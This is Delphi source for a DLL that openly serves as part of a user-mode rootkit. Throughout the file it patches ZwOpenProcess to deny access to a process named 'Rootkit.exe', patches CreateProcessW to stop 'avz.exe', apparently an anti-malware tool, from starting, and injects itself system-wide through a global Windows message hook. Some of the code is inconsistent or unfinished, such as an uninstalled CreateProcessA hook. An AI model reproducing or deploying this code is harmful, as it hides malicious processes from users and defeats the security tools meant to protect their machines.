library HOOK;

uses
    windows,
    SysUtils,advApiHook;

type
   NTStatus = cardinal;
   far_jmp = packed record
   push:byte;
   PProc:pointer;
   ret:byte;
end;

OldCode = packed record
   one:dword;
   two:word;
end;

PUnicodeString = ^TUnicodeString;
   TUnicodeString = packed record
   Length: Word;
   MaximumLength: Word;
   Buffer: PWideChar;
end;

PObjectAttributes = ^TObjectAttributes;
   TObjectAttributes = packed record
   Length: DWORD;
   RootDirectory: THandle;
   ObjectName: PUnicodeString;
   Attributes: DWORD;
   SecurityDescriptor: Pointer;
   SecurityQualityOfService: Pointer;
end;

PClientID = ^TClientID;
TClientID = packed record
   UniqueProcess:cardinal;
   UniqueThread:cardinal;
end;

type
   PStartupInfo = ^TStartupInfo;
   STARTUPINFOW = record
   cb: DWORD;
   lpReserved: Pointer;
   lpDesktop: Pointer;
   lpTitle: Pointer;
   dwX: DWORD;
   dwY: DWORD;
   dwXSize: DWORD;
   dwYSize: DWORD;
   dwXCountChars: DWORD;
   dwYCountChars: DWORD;
   dwFillAttribute: DWORD;
   dwFlags: DWORD;
   wShowWindow: Word;
   cbReserved2: Word;
   lpReserved2: PByte;
   hStdInput: THandle;
   hStdOutput: THandle;
   hStdError: THandle;
   end;
   TStartupInfo = _STARTUPINFOA;
   STARTUPINFO = _STARTUPINFOA;

PProcessInformation = ^TProcessInformation;
_PROCESS_INFORMATION = record
   hProcess: THandle;
   hThread: THandle;
   dwProcessId: DWORD;
   dwThreadId: DWORD;
end;
   TProcessInformation = _PROCESS_INFORMATION;
   PROCESS_INFORMATION = _PROCESS_INFORMATION;

Type
   USHORT = Word;
   PWSTR = {$IFDEF USE_DELPHI_TYPES} Windows.LPWSTR {$ELSE} PWideChar {$ENDIF};
   HANDLE = {$IFDEF USE_DELPHI_TYPES} Windows.THandle {$ELSE} Longword {$ENDIF};
   PHANDLE = {$IFDEF USE_DELPHI_TYPES} Windows.PHandle {$ELSE} ^HANDLE {$ENDIF};
   PVOID = Pointer;
type
   PUNICODE_STRING = ^UNICODE_STRING;
   _UNICODE_STRING = record
   Length: USHORT;
   MaximumLength: USHORT;
   Buffer: PWSTR;
   end;
   UNICODE_STRING = _UNICODE_STRING;
   PCUNICODE_STRING = ^UNICODE_STRING;

const
   STATUS_ACCESS_DENIED = NTStatus($C0000022);
   STATUS_SUCCESS = NTSTATUS($00000000);

Function ZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD; ObjectAttributes:PObjectAttributes;
   ClientID:PClientID): NTStatus; stdcall; external 'ntdll.dll' name 'ZwOpenProcess';

function CreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
   lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
   bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
   lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
   var lpProcessInformation: TProcessInformation): BOOL; stdcall; external 'kernel32.dll' name 'CreateProcessW';

function CreateProcessA(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
   lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
   bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
   lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo;
   var lpProcessInformation: TProcessInformation): BOOL; stdcall; external 'kernel32.dll' name 'CreateProcessA';

var
   PFunc, CPA, CPW: pointer;
   OldFunc, OldCPA, OldCPW: OldCode;
   NewFunc, JmpCPA, JmpCPW: Far_jmp;
   b, pid: dword;

procedure UnHook;
begin
   WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b);
   WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@OldCPA,sizeof(Oldcode),b);
end;

function TrueCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
   lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
   bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
   lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
   var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
   WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@OldCPA,sizeof(Oldcode),b);
   Result:= CreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
   bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
   WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@JmpCPA,sizeof(far_jmp),b);
end;

function NewCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
   lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
   bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
   lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
   var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
   if (ExtractFileName(lpApplicationName)= 'avz.exe') then Result:= False else
   Result := TrueCreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,bInheritHandles, dwCreationFlags, lpEnvironment,
   lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;

Function TrueZwOpenProcess(phProcess:PDWORD; AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
   ClientID:PClientID):NTStatus;stdcall;
begin
   WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(Oldcode),b);
   Result:= ZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
   WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
end;

Function NewZwOpenProcess(phProcess:PDWORD;AccessMask:DWORD;ObjectAttributes:PObjectAttributes;
   ClientID:PClientID):NTStatus;stdcall;
begin
   if (ClientID<>nil) and (ClientID.UniqueProcess=pid) then
   begin
   Result:=STATUS_ACCESS_DENIED;
   exit;
   end;
   Result:= TrueZwOpenProcess(phProcess,AccessMask,ObjectAttributes,ClientID);
end;

Function TrueCreateProcessA(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
   lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
   bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
   lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo;
   var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
   WriteProcessMemory(INVALID_HANDLE_VALUE,CPW,@OldCPW,sizeof(Oldcode),b);
   Result:= CreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
   bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
   WriteProcessMemory(INVALID_HANDLE_VALUE,CPW,@JmpCPW,sizeof(far_jmp),b);
end;

function NewCreateProcessA(lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
   lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
   bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
   lpCurrentDirectory: PAnsiChar; const lpStartupInfo: TStartupInfo;
   var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
   //////
   Result:= TrueCreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
   bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
end;

procedure SetHook;
begin
   PFunc:= GetProcAddress(GetModuleHandle('ntdll.dll'),'ZwOpenProcess');
   CPA:=GetProcAddress(GetModuleHandle('kernel32.dll'),'CreateProcessW');
   ReadProcessMemory(INVALID_HANDLE_VALUE,PFunc,@OldFunc,sizeof(oldcode),b);
   ReadProcessMemory(INVALID_HANDLE_VALUE,CPA,@OldCPA,sizeof(oldcode),b);
   NewFunc.push:=$68;
   NewFunc.PProc:=@NewZwOpenProcess;
   NewFunc.ret:=$C3;
   JmpCPA.push:=$68;
   JmpCPA.PProc:=@NewCreateProcessW;
   JmpCPA.ret:=$C3;
   WriteProcessMemory(INVALID_HANDLE_VALUE,PFunc,@NewFunc,sizeof(far_jmp),b);
   WriteProcessMemory(INVALID_HANDLE_VALUE,CPA,@JmpCPA,sizeof(far_jmp),b);
end;

procedure GetPID;
begin
   pid:= GetProcessID('Rootkit.exe');
end;

function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall;
begin
   CallNextHookEx(0,code,wParam,lParam);
end;

procedure SetGlobalHookProc();
begin
   SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
   Sleep(INFINITE)
end;

procedure SetGlobalHook();
var
   hMutex: dword;
   TrId: dword;
begin
   hMutex := CreateMutex(nil, false, '[{ADA5458-6AB8-7C4D-88BA-44A06478C676}]');
   if GetLastError = 0 then
   CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId)
   else
   CloseHandle(hMutex)
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
   case dwReason of
   DLL_PROCESS_ATTACH: begin
   GetPID;
   SetHook;
   SetGlobalHook;
   end;
   DLL_PROCESS_DETACH: begin
   UnHook;
   end;
   end;
end;

begin
   DllProc:= @DLLEntryPoint;
   DLLEntryPoint(DLL_PROCESS_ATTACH);
end.